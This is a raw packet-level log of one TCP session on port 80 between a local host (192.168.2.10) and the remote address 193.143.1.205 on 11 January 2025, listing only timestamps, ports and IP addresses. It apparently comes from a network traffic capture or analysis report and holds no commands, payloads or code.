Jan 11, 2025 01:01:12.811332941 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.811342955 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.811353922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.811388969 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.811419964 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.829900980 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.829925060 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.829935074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.829946995 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.829955101 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.829977036 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.840883970 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.849878073 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.849889040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.849920988 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.893950939 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.893973112 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.893982887 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.894004107 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.894035101 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.898605108 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.928951025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.928968906 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.929003954 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.929361105 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.929374933 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.929403067 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.933653116 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.933670998 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.933681965 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.933701992 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.933722019 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.933921099 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.934125900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.934170008 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.938378096 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.938394070 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.938436031 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.938817024 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.938829899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.938869953 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.943147898 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.943164110 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.943176031 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.943206072 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.943509102 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.943521023 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.943548918 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.947849989 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.947866917 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.947896957 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.948199034 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.948211908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.948235989 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.952564001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.952581882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.952605963 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.952918053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.952930927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.952941895 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.952953100 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.953010082 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.957281113 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.957297087 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.957350016 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.957628965 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.957642078 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.957678080 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.962004900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.962021112 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.962070942 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.962316990 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.962330103 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.962367058 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.966793060 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.966808081 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.966819048 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.966847897 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.966993093 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.967006922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.967031956 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.971527100 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.971544027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.971580029 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.971635103 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.971657038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.971678972 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.976284027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.976303101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.976314068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.976330042 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.976351976 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.976356983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.976372004 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.976413965 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.981004000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.981028080 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.981049061 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.981059074 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.981060982 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.981100082 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.985743046 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.985764027 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.985774994 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.985785961 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.985795975 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.985806942 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.985840082 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.990494013 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.990509987 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.990520954 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.990531921 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.990539074 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.990557909 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.995212078 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.995227098 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.995239019 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.995249987 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.995260000 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.995263100 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:12.995290041 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:12.995325089 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.000037909 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.000051975 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.000062943 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.000108957 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.004756927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.004771948 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.004782915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.004793882 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.004801989 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.004806042 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.004823923 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.004854918 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.009486914 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.014257908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.014276028 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.014286041 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.014297009 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.014305115 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.014327049 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.018997908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.019012928 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.019025087 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.019036055 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.019052982 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.019081116 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.023864985 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.023879051 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.023890972 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.023900986 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.023910046 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.023941040 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.028570890 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.028587103 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.028597116 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.028608084 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.028615952 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.028630972 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.028640985 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.028641939 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.028688908 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.033322096 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.033339024 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.033349991 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.033360958 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.033369064 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.033373117 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.033396959 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.033433914 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.038059950 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.038075924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.038086891 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.038110971 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.048024893 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.048047066 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.048058033 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.048070908 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.048095942 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.052803040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.052815914 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.052859068 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.053059101 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.053085089 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.053097010 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.053121090 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.057573080 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.057586908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.057599068 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.057610989 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.057621002 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.057648897 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.062330961 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.062345028 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.062355995 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.062367916 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.062372923 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.062381983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.062397957 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.062433958 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.067125082 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.067137957 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.067151070 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.067162037 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.067173004 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.067184925 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.067238092 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.071943998 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.071957111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.071968079 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.071980000 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.071980953 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.071990967 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.072011948 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.072043896 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.076844931 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076858997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076869011 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076879978 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076889992 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076900959 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076910973 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076921940 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076924086 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.076932907 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076945066 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076955080 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076965094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076966047 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.076989889 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.076996088 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077003002 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077014923 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077017069 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077025890 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077038050 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077048063 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077059031 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077069044 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077069998 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077080011 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077090979 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077100039 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077116966 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077138901 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077143908 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077152014 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077162981 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077176094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077186108 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077197075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077207088 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077210903 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077219963 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077229977 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077231884 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077241898 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077255964 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077255964 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077275991 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077286005 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077291012 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077305079 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077310085 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077322006 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077342033 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077359915 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077372074 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077372074 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077384949 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077397108 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077408075 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077418089 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077425957 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077430964 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077444077 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077455044 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077465057 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077471972 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077476025 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077488899 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077498913 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077501059 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077511072 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077521086 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077532053 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077538013 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077543020 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077552080 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077554941 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077565908 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077575922 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077579021 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.077609062 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.077639103 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.082437038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.082459927 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.082480907 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.082515001 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.082526922 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.082535982 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.082540035 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.082562923 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.082597017 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.086195946 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.101600885 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101614952 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101627111 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101638079 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101648092 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101658106 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101667881 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.101669073 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101680040 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101691008 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101705074 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.101730108 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.101913929 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101924896 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101934910 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101948977 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.101953983 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101965904 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.101974010 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.101998091 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.102372885 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102430105 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102466106 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.102492094 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102540016 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102550030 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102560997 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102571011 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.102579117 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.102600098 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.106290102 CET	49738	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:01:13.134948015 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.134964943 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.134978056 CET	80	49738	193.143.1.205	192.168.2.10
Jan 11, 2025 01:01:13.135037899 CET	49738	80	192.168.2.10	193.143.1.205
